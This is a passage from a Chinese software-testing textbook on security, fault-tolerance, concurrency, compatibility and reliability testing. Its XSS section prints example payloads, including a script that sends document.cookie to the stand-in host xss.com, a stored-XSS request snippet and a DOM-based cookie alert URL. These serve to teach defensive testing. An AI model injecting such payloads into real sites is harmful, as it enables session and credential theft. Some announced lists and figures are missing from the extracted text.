(6) 目录。Web 的目录安全也是不容忽视的。如果 Web 程序或 Web 服务器的处理不适当,可以通过简单的 URL 替换和推测,使整个 Web 目录暴露出来,带来严重的安全隐患。可以采用某些方法将这种隐患降低到最小程度,如每个目录下都存在 index.htm, 以及严格设定 Web 服务器的目录访问权限。

(7)操作留痕。为了保证 Web 应用系统的安全性,日志文件是至关重要的。需要测试相关信息是否写进入了日志文件,是否可追踪。

跨站点攻击 (Xcross-site Scripting, XSS)

XSS 可以让攻击者在页面访问者的浏览器中执行 JavaScript 脚本,从而可以获得用户会话的安全信息、插入恶意的信息或植入病毒等。按照注入的途径,一般分为三种 —— 反射 (Reflected)、基于 DOM 文档对象模型 (DOM-based) 和存储 (Store)。

1. Reflected XSS

Reflected XSS 指当表单中输入的内容,提交到服务器后未经过安全检查或重新编码,立即显示在返回的页面上,同时执行恶意的脚本。攻击者利用一些存在漏洞的网站上的表单,构造一些含有恶意代码的 URL, 当这个 URL 被单击时,站点将遭受攻击。例如,在搜索的关键字文本框中输入:

<script>var + img = new + Image();img.src = "http://xss.com/" % 20 + % 20document.cookie;</script> 

这个页面没有过滤和处理该字符串,作为关键字的这段代码,如果直接回显在搜索结果页面上,就变成了: img.src="http://xss.com/" + document.cookie;。

恶意者将搜索结果页面的 link 发给其他人,被单击后,执行的结果会是将该网站路径下的 Cookie 发到了 http://xss.com, 从而暴露了安全信息 (如 Cookie 保存的用户名、密码)。

2. Stored XSS

Stored XSS 的机理类似于基于反射的 XSS, 只是它是将攻击代码提交到了服务器端的数据库或文件系统中。不用构造一个 URL, 而是保存在一片文章或一个论坛帖子中,从而使得访问该页面的用户都有可能受到攻击。

举例来说,在论坛的帖子中包含以下代码:

var objHTTP, strResult; objHTTP = new ActiveXObject('Microsoft.XMLHTTP');
objHTTP.Open('POST', "<某个表单指向的 Action>", false);
objHTTP.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
objHTTP.send("<构造的请求内容>"); strResult = objHTTP.responseText; 

当其他用户访问该文章时,这里的脚本就会被执行,而且是以当前用户的身份执行的。因为使用 XMLHttpRequest () 时会同时发出用户的 Cookie, 从而可以获得当前用户的权限。

3. DOM-based XSS

假设有个名为 http://www.mysite.com 的站点,用户登录后会进入一个欢迎页面 welcome.html, welcome 页面包含以下一段代码:

<HTML>
<TITLE>Welcome!</TITLE>
Hi
<script>
var pos = document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</script><BR>
Welcome to our system
...
</HTML> 

一般情况下,用户通过链接 http://www.mysite.com/welcome.html?name=Chico, 进入到 welcome 页面,其上会显示 “Hi Chico” 这样的文字。

试想如果输入

http://www.mysite.com/welcome.html?name=<script>alert(document.cookie)</script> 

这样的地址会发生什么情况呢?页面中已被植入 <script>alert (document.cookie)</script> 这样的 JavaScript 代码,并且会被执行。

基于 DOM 的 XSS 攻击,恶意代码是借助于 DOM 本身的问题而被植入的,表现在客户端的浏览器中;恶意代码来源于别处(查询字符串中或调用的其他的外部网站的内容片段);“name \(=\)” 这样的查询参数也可以通过一些技术手段让服务器端忽略,而不做任何的安全验证。

6.4.3 安全性测试工具

安全性测试一直充满着挑战,安全和非法入侵 / 攻击始终是矛和盾的关系,所以安全测试工具一直没有绝对的标准。虽然有时会让专业的安全厂商来远程扫描企业的 Web 应用程序,验证所发现的问题并生成一份安全聚焦报告。但由于控制、管理和商业秘密的原因,许多公司喜欢自己实施渗透测试和扫描,这时用户就需要购买相关的安全性测试工具,并建立一个安全可靠的测试机制。

在选择安全性测试工具时,需要建立一套评估标准。根据这个标准,能够得到合适的且安全的工具,不会对软件开发和维护产生不利的影响。安全性测试工具的评估标准,主要包括下列内容。

安全性测试工具,可以有不同的分类,例如:

(8) 无线测试工具,以 Aircrack-ng 为代表,还有 Kismet、wifiScanner 等。

下面侧重介绍一些容易得到的、开源的安全性测试工具。

6.5 容错性测试

容错性测试 (Fault-tolerance Test) 主要检查系统的容错能力,检查软件在异常条件下自身是否具有防护性的措施或者某种灾难性恢复的手段。如当系统出错时,能否在指定时间间隔内修正错误并重新启动系统。容错性测试可以看作可靠性测试和健壮性测试 (Robustness Test) 的组成部分,容错测试首先要通过各种手段,让软件强制性地发生故障,然后验证系统是否能尽快恢复。容错性测试包括以下两个方面。

(1)输入异常数据或进行异常操作,以检验系统的保护性。如果系统的容错性好,系统只给出提示或内部消化掉,而不会导致系统出错甚至崩溃。

(2)灾难恢复性测试。通过各种手段,让软件强制性地发生故障,然后验证系统已保存的用户数据是否丢失、系统和数据是否能尽快恢复。

对于自动恢复需验证重新初始化、检查点、数据恢复和重新启动等机制的正确性;对于人工干预的恢复系统,还需估测平均修复时间,确定其是否在可接受的范围内。容错性好的软件能确保系统不发生无法意料的事故。

从容错性测试的概念可以看出,当软件出现故障时如何进行故障的转移与恢复有用的数据是十分重要的。

6.5.1 容错性测试的要点

1. 故障转移与数据恢复

故障转移是确保测试对象在出现故障时能成功完成故障的转移,并能从导致意外数据损失或数据完整性破坏的各种硬件、软件和网络故障中恢复。数据恢复可确保:对于必须持续运行的系统,一旦发生故障,备用系统就将不失时机地 “接替” 发生故障的系统,以避免丢失任何数据或事务。容错测试是一种对抗性的测试过程。在这种测试中,将把应用程序或系统置于 (模拟的) 异常条件下,以产生故障。例如,设备输入 / 输出 (I/O) 故障或无效的数据库指针和关键字等。然后调用恢复进程并监测、检查应用程序和系统,核实系统和数据已得到了正确的恢复。

2. 测试目标

确保恢复进程将数据库、应用程序和系统正确地恢复到预期的已知状态。测试中将包括以下各种情况。

3. 测试范围

应该使用为功能和业务周期测试创建的测试来创建一系列的事务。一旦达到预期的测试起点,就应该分别执行或模拟以下操作。

一旦实现了上述情况 (或模拟情况), 就应该执行其他事务。而且一旦达到第二个测试点状态,就应调用恢复过程。在测试不完整的周期时,所使用的技术与上述技术相同,只不过应异常终止或提前终止数据库进程本身。对以下情况的测试需要达到一个已知的数据库状态。当破坏若干个数据库字段、指针和关键字时,应该以手工方式在数据库中 (通过数据库工具) 直接进行。其他事务应该通过使用 “应用程序功能测试” 和 “业务周期测试” 中的测试来执行,并且应执行完整的周期。

4. 完成标准

在所有上述情况中,应用程序、数据库和系统应该在恢复过程完成时立即返回到一个已知的预期状态。此状态包括仅限于已知损坏的字段、指针或关键字范围内的数据损坏,以及表明进程或事务因中断面未被完成的报表。

5. 需考虑的特殊事项

恢复测试会给其他操作带来许多的麻烦。断开缆线连接的方法 (模拟断电或通信中断) 可能并不可取或不可行。所以,可能会需要采用其他方法,例如诊断性软件工具。恢复测试对其他类型的测试影响很大,一般需要使用相对独立的系统、数据库和网络组中的资源,应该在工作时间之外或在一个独立的环境上进行。

6.5.2 数据库并发控制测试

数据库的并发控制能力是指在处理多个用户在同一时间内对相同数据进行同时访问的能力。一般的关系型数据库都具备这种能力,日常应用系统中也随处可见,例如火车的售票系统、银行数据库系统。举个例子 (如图 6-16 所示) 来说明,在火车的售票系统中,有如下一个过程。

这样就存在并发控制的问题,卖出了两张票,而数据库里面只有一条数据减少。这样,下次读取数据的时候,源数据就不准确了,从而会带来数据的错误。如果按照上面的操作顺序执行,A 对源数据库的修改就被丢失。

239536000c5461d46f2eefd684626786641f896c351b77097487fbdce192ed5b.jpg

并发控制带来数据的不一致问题,被称为 “数据库并发控制过程冲突”, 如图 9-2 所示。在实际的测试过程中,必须对这样的冲突进行测试设计,主要是通过逻辑判定来设计测试用例。在并发控制过程冲突中,主要包括三类:丢失数据、不可重复读数据和读 “脏” 数据。

1. 丢失数据

刚才的例子就是一个典型。当事务 A 和事务 B 对同一个数据源进行修改,B 提交的结果

破坏了 A 提交的结果,导致 A 对数据库的修改失效。

2. 不可重复读数据

不可重复读数据是指事务 A 在读取数据后,事务 B 对其进行了修改并执行了更新操作,事务 A 无法再现前一次读取的结果。举个例子来说明:

此时,事务 A 处理的结果是: \(Z=X+Y=10+50=60\) , 事务 B 对数据的操作已经影响了原来的结果。

3. 读 “脏” 数据

读脏数据是指事务 A 修改某一数据 (或者执行某一操作), 并将其写到数据库,事务 B 读取相同数据 (或者执行某一关联操作) 的时候,事务 A 由于某种原因撤销操作 (即进行事务回滚), 此时事务 A 已经将原来的数据还原,而事务 B 所读取的数据和数据库中真实记录就不一致,此时事务 B 读到的数据就是脏数据。例如,事务 A 从数据库表中读出整数 X=10 并乘以 5 写入 X。事务 B 读取 X 的值为 50, 此时,事务 A 执行回滚操作,将 X 的值恢复成 10, 此时 B 读取的数据 50 就是 “脏” 数据。

在数据库应用系统中,一般会使用加锁技术来进行并发控制。在前面的火车售票系统中,当 A 事务读数据进行修改之前先对数据库表进行加锁,当 B 事务请求对数据库表进行修改时需要重新请求加锁,此时若 A 事务锁未被释放,B 将不能对数据库进行修改操作,这样,B 对数据库表进行操作时就是对已经更新的数据进行操作,此时防止了数据库并发控制的冲突产生。按照加锁的等级和操作权限,数据库加锁可以分为一级、二级和三级封锁协议,具体请参考相关数据库方面的书。

在数据库并发控制测试过程中,需要针对程序控制的流程,来设计测试,如图 6-17 所示。测试的重点是并发控制逻辑分析以及锁控制的逻辑分析,设计并发控制的测试过程分为以下两个部分。

a5470a1199a72fedbabebe5a804e718b64a2ed686f0ecf096740eaf7965d6d6a.jpg

当然,在并发控制测试中,可能要涉及更为复杂的测试过程,例如,多线程应用程序的并发控制处理、数据的死锁控制以及分析等,这里不再多述。

6.6 兼容性测试

兼容性测试包括软件兼容性、数据共享兼容性、硬件兼容性三个方面。假设新开发一个图形处理软件,自定义了一种特殊的图形存储格式以适应特殊的应用,那么该软件是否能在操作系统的不同版本上正常工作?是否可以将图片存储为.bmp、.gif、.jpg 等其他图像文件格式?是否符合相应的文件标准?是否也可以读取这些格式的文件转换成自定义的格式文件?是否支持市场上流行的显卡?这些都是兼容性问题,都需要进行检验。如果存在兼容性问题,就会影响软件的使用范围,用户的操作受到很大的局限。

6.6.1 软件兼容性测试

软件兼容性测试是指验证软件之间是否正确地交互和共享信息,包括同步共享、异步共享,还包括本地交互、远程通信交互。在接受兼容性测试任务时,应仔细了解产品说明书中的有关内容,并和相关人员进行沟通,可以询问一些重要的问题,例如:

从项目管理的角度出发,在满足客户要求的前提下尽可能地减少被测试的平台,不可能兼容所有平台。例如,针对 Windows 操作系统的测试,主要考虑 Windows XP、Windows 7 和 Windows 8, 而不需要考虑 Windows 2000 或 Windows NT, 否则测试的工作量会很大。

1. 向前和向后兼容

向后兼容是指可以使用以前版本的软件,而向前兼容指的是可以使用未来版本的软件。例如,Windows XP 是否可以运行以前的一些应用软件,包括 Office 2000、Office 98 甚至一些 DOS 程序,这也就比较容易理解 Windows XP 为什么还保持 Run 的命令行执行方式以及通过 CMD 命令打开 DOS 窗口,就是从兼容性来设计的。例如,字处理软件 Word 2003 是否能够向后兼容以前的 Word 2000、Word 98 甚至 MS-DOS 下的字处理软件的所有版本的文件格式。而向前兼容指 Windows XP 能否运行将来的 Word 2007 或未来的新版本,或者说 Word 2003 能否打开 Word 2007 的文件。

当然并非所有软件都要向前兼容或向后兼容测试,向后兼容是必要的,必须测试,而向前兼容不是必需的,而是努力做到的,在设计时要考虑和未来的软件、数据兼容。

2. 多版本的测试

当前流行的操作系统,已经有数百万个应用程序在上面运行。而当操作系统中修复了大量缺陷、改善了性能并增加了许多有用的新特性,兼容性测试将面临很大的挑战,如何验证操作系统的新版本是否兼容那数百万个应用程序?面对这样一个庞大而又艰巨的任务,需要采取有效的测试策略,例如,对所有可能的组合进行等价划分、优化,获得最少的有效测试集合。通常的做法有:

(1)将软件分类,如字处理、电子表格、数据库、图形处理和游戏等,从每种类型中选择部分测试软件。

(2) 按软件的流行程度选择较流行的软件。

(3) 按软件推出的时间,选取最近年份内的程序和版本。

前面说的新开发的图形软件是一个应用程序,同样需要决定在什么操作系统以及与哪些应用程序一起进行测试。

3. 一个典型的例子

每一个浏览器和版本支持的特性上都有细微的差别,在不同的操作系统上表现也有所不同。一个网站可能在某浏览器的某个版本上表现极佳,但是在另一种环境中就存在许多问题甚至无法显示。

程序员可以选择只使用最普通的特性,以便在所有浏览器中同样显示,也可以选择为每一个浏览器编写专用代码,使站点以最佳方式工作。浏览器的插件可以获得音频和视频播放功能。浏览器自身有各种设置选项 (安全性等)。在不同的平台上屏幕分辨率和颜色模式的不同等均会影响到网站的测试。为了保证很好地为预定的客户服务,就要研究他们可能拥有的配置。表 6-6 给出了一个在设计测试计划时常用的一个矩阵表。

表 6-6 测试设计矩阵表

WindowsNon-Windows
XP788.1LinuxSolarisOS IXOS X
IE9
IE11
Firefox3
Safari
Chrome
Opera
Mozilla

专业的测试单位中负责客户端测试的人员每人可能拥有多台测试 (虚拟) 机,每台 (虚拟) 机器配置不同的操作系统和浏览器。一则每台机器均采用活动硬盘架,可很快更换备用硬盘来测试不同的系统环境,或者测试机器配置很高,通过安装虚拟机软件 (如 VMware Workstation、Microsoft Virtual PC、Virtual Box、Parallels Workstation 等), 在一台物理机器上安装 3\~6 台虚拟机,进行兼容性测试。

6.6.2 数据共享兼容性测试

为了获得良好的兼容性,软件必须遵守公开的标准和某些约定,允许与其他软件传输、共

享数据。数据共享的兼容性表现在以下几个方面。

6.6.3 硬件兼容性测试

硬件兼容性测试也就是硬件配置测试。假如,以图像编辑软件为例,在开发环境中软件正常运行,另外选择三款流行的显卡,只要当配置某一款显卡运行时发生故障或系统崩溃,那么一定是配置问题。

1. 配置测试的必要性

首先是计算机配置的复杂多样性,世界上有很多著名的计算机生产厂家自行设计组件,生产自己的主机,甚至读者就可以自己拼装主机。大多数主机是由主板、显卡、声卡、网卡、硬盘、光驱等组件构成,而这些组件可以是数百家生产厂商提供的。打印机、扫描仪、鼠标、键盘、数码相机、游戏手柄等丰富多彩的外设通过各种接口与主机相连,如常见的 ISA、PCI、USB、PS/2、RS/232 等,还有各种设备驱动程序及其很多的可选项。

2. 配置测试的基本方法

配置测试的主要任务是发现硬件配置缺陷。判断一个缺陷是否为配置缺陷,常用方法是在另一台完全不同配置的计算机上执行相同的操作。如果缺陷没有再现,就可能是配置缺陷。但配置缺陷表现有时不是那么清晰,判断时要考虑以下几种情况。

如果盲目地进行配置测试,往往事倍功半。假设市场上有显卡、声卡、网卡各 500 种,则测试组合的数目为 \(500\times500\times500\) ,而且没有考虑其他组件。配置测试还可以采用等价类划分方法,其划分的依据则是硬件的流行程度、年限、国家和地区、用户对象等因素。经过等价类划分和优化,可以从一大堆设备中选择出需要测试的设备清单,然后再采用 Pair-wise 方法、正交试验方法来优化组合将配置测试处于可控制的状态中。

6.7 可靠性测试

可靠性 (Reliability) 是产品在规定的条件下和规定的时间内完成规定功能的能力,它的概率度量称为可靠度。软件可靠性是软件系统的固有特性之一,它表明了一个软件系统按照用户的要求和设计的目标,执行其功能的可靠程度。软件可靠性与软件缺陷有关,也与系统输入和系统使用有关。理论上说,可靠的软件系统应该是正确、完整、一致和健壮的。但是实际上任何软件都不可能达到百分之百的正确,而且也无法精确度量。一般情况下,只能通过对软件系统进行测试来度量其可靠性。

对软件可靠性定义,换句话可以得到如下的定义: “软件可靠性是软件系统在规定的时间内及规定的环境条件下,完成规定功能的能力。” 根据这个定义,软件可靠性主要包含以下三个要素。

软件可靠性测试,也称软件可靠性评估 (Software Reliability Assessment), 指根据软件系统可靠性结构 (单元与系统间可靠性关系)、寿命类型和各单元的可靠性试验信息,利用概率统计方法,评估出系统的可靠性特征量。

1. 可靠性测试方法

要进行软件可靠性评估,就要涉及软件可靠性模型,即为预计或估算软件的可靠性所建立的可靠性结构和数学模型。建立可靠性模型是为了将复杂系统的可靠性逐级分解为简单系统的可靠性,以便定量预计、分配、估算和评价复杂系统的可靠性。一般软件可靠性模型分为两大类,即软件可靠性结构模型和软件可靠性预计模型。

在可靠性测试中,可以考虑进行 “强化输入”, 即输入比正常输入更恶劣 (合理程度的恶劣) 的数据。如果软件在强化输入下可靠,就能说明比正规输入下可靠得多。同时为了获得更多的可靠性数据,应该采用多台计算机同时运行软件,以增加累计运行时间。

2. 可靠性数据收集

软件可靠性数据是可靠性评估的基础。应该建立软件错误报告、分析与纠正措施系统。按照相关标准的要求,制定和实施软件错误报告及可靠性数据收集、保存、分析和处理的规程,完整、准确地记录软件测试阶段的软件错误报告和收集可靠性数据。

用时间定义的软件可靠性数据可以分为以下 4 类。

这 4 类数据可以互相转换。每个测试记录必须包含充分的信息,包括:

3. 可靠性测试结果的评估

软件系统的可靠性是系统最重要的质量指标。ISO 9000 国际质量标准 (ISO/IEC 9126—1991) 规定,软件产品的可靠性含义是:在规定的一段时间和条件下,软件能维持其性能水平的能力有关的一组属性,可用成熟性、容错性、易恢复性三个基本子特性来度量,其中容错性和易恢复性测试在前面 6.5 节已做介绍。

成熟性度量可以通过错误发现率 (Defect Detection Percentage, DDP) 来表现。在测试中查找出来的错误越多,实际应用中出错的机会就越小,软件也就越成熟。

DDP = 测试发现的错误数量 / 已知的全部错误数量

已知的全部错误数量是测试已发现的错误数量加上可能会发现的错误数量之和。

4. 可靠性评估报告

测试活动结束后必须编写《软件可靠性测试报告》,对测试项及测试结果在测试报告中加以总结、归纳。编写时可以参考 GJB 438A—1997 中提供的《软件测试报告》格式,并应根据情况进行剪裁。测试报告应具备下列内容。

(6) 测试的最终日期。

这种规范化的过程管理控制有利于获得真实有效的数据,为最终得到客观的评估结果奠定基础。

小结

本章首先从系统级功能测试开始,逐步深入到性能测试、安全性测试、容错性测试、兼容性测试、可靠性测试等,覆盖了系统测试的各个方面。

功能测试是基本的,因为首先要保证系统的每个功能可以正常工作,然后才能进行非功能性的测试,如性能测试。而回归测试是不可避免的,只要有需求、设计或代码的变动就要进行,例如,一旦发现了严重缺陷,开发人员就要修改,然后测试人员不仅要验证缺陷,还有进行回归测试。由于资源和时间限制,不可能进行大规模的回归测试,这时候,选择正确的回归测试策略是重要的。

在系统的非功能性测试中,要深刻理解系统的架构设计,参与设计评审,认真准备测试环境,确保测试环境非常接近实际的产品运行环境。针对不同的应用系统,其系统的非功能性测试侧重点也不相同。压力测试、容量测试和性能测试的手段和方法很相似,有时可以交织在一起进行测试。压力测试的重点在于检查系统是否有资源泄漏 (如内存泄漏)、进行系统的稳定性或可靠性的测试,以空间换时间,在高负载压力下可以减少测试时间。容量测试和性能测试更着力于提供性能指标与容量方面的数据,发现系统性能的瓶颈,改进系统性能。

在互联网时代,安全性测试越来越受到业界关注,除了需要完成安全性相关的功能测试之外,还要检验系统是否存在安全弱点或漏洞。后者主要通过渗透测试、模糊测试等方法来发现目前已知或未知的安全性问题。容错性测试也是为了提高系统的健壮性和可靠性,需要进行异常数据、异常操作等方面的测试,而兼容性测试,不仅要检验系统之间的兼容性问题,而且还要检验数据的兼容性问题,后者更重要。

思考题